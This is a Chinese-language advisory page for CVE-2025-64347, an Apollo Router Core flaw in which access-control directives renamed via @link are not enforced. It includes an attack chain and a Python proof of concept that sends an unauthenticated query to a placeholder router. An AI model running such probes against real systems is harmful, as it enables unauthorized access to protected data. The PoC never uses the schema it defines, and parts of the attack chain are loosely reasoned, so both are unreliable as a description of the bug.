IPBUF安全漏洞报告
English
CVE-2025-64347 CVSS 7.5 高危

CVE-2025-64347 Apollo Router Core访问控制绕过漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64347
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apollo Router Core

相关标签

访问控制绕过Apollo RouterGraphQLFederationCVE-2025-64347Rust高危漏洞

漏洞概述

Apollo Router Core是一款使用Rust语言编写的可配置图形路由器,用于运行基于Apollo Federation 2的联邦超图。在1.61.12-rc.0及以下版本和2.8.1-rc.0及以下版本中,存在一个严重的访问控制绕过漏洞。攻击者可以通过@link指令重命名访问控制指令(如@authenticated、@requiresScopes、@policy),使得路由器无法正确执行这些重命名后的访问控制策略。这允许未授权用户绕过字段和类型级别的访问控制,直接访问原本受保护的数据。由于该漏洞可在无需认证和用户交互的情况下被利用,且对数据机密性造成严重影响,因此被评定为高危漏洞(CVSS 7.5)。

技术细节

该漏洞的根本原因在于Apollo Router Core对通过@link指令导入并重命名的访问控制指令处理不当。在GraphQL Federation中,@link指令允许导入和重命名外部定义,包括访问控制指令。当开发者使用@link...as="@customAuth"这样的语法重命名@authenticated指令时,路由器在验证查询时没有正确识别重命名后的指令与原始@authenticated指令的等价关系。具体来说,路由器在解析和验证查询时,只检查了原始指令名称,而没有检查通过@link重命名的别名。这导致即使字段或类型上应用了重命名的访问控制指令,路由器也不会执行相应的访问检查。攻击者可以利用Apollo Federation的导入机制,通过构造特定的超图(supergraph),在子图(subgraph)级别引入重命名的访问控制指令,从而绕过路由器级别的访问控制策略。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意的GraphQL子图(subgraph),使用@link指令导入Apollo Federation规范,并通过as参数将@authenticated指令重命名为@customAuth
STEP 2
步骤2
在子图的敏感字段上应用重命名后的@customAuth指令(如secretInfo字段)
STEP 3
步骤3
攻击者构造一个针对该敏感字段的GraphQL查询,请求原本需要认证才能访问的数据
STEP 4
步骤4
Apollo Router Core接收查询请求,在路由器层面进行访问控制检查时,由于只识别原始指令名称@authenticated,无法识别重命名后的@customAuth
STEP 5
步骤5
路由器允许查询通过,将请求转发给子图,子图发现字段有@customAuth保护但由于路由器已放行,访问控制被绕过
STEP 6
步骤6
攻击者成功获取敏感数据,造成机密性影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64347 PoC - Apollo Router Core Access Control Bypass # This PoC demonstrates how renamed @authenticated directive can bypass access control # Step 1: Create a malicious subgraph schema with renamed access control directive MALICIOUS_SCHEMA = ''' extend schema @link(url: "https://specs.apollo.dev/federation/v2.3", import: [{name: "@authenticated", as: "@customAuth"}]) type Query { sensitiveData: ProtectedData } type ProtectedData @key(fields: "id") { id: ID! secretInfo: String @customAuth # Renamed directive, bypasses router check } ''' # Step 2: Craft GraphQL query to exploit the vulnerability EXPLOIT_QUERY = ''' query { sensitiveData { id secretInfo # This should require authentication but bypasses check } } ''' # Step 3: Send unauthenticated request to Apollo Router import requests router_url = "http://target-apollo-router:4000" response = requests.post( f"{router_url}/graphql", json={"query": EXPLOIT_QUERY}, headers={"Content-Type": "application/json"} ) # Expected: Should return 401/403 but due to bug returns data if response.status_code == 200 and "secretInfo" in response.text: print("VULNERABLE: Access control bypassed - sensitive data leaked!") else: print("PATCHED: Access control properly enforced")

影响范围

Apollo Router Core < 1.61.12 (1.61.12-rc.0及以下版本)
Apollo Router Core < 2.8.1 (2.8.1-rc.0及以下版本)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)审查所有使用@link指令导入的子图配置,确保没有通过重命名方式绕过访问控制;2)限制@link指令的使用权限,只允许可信的子图进行导入操作;3)启用额外的应用层访问控制,在业务逻辑层验证用户身份和权限;4)监控GraphQL查询日志,排查是否存在异常的敏感字段访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表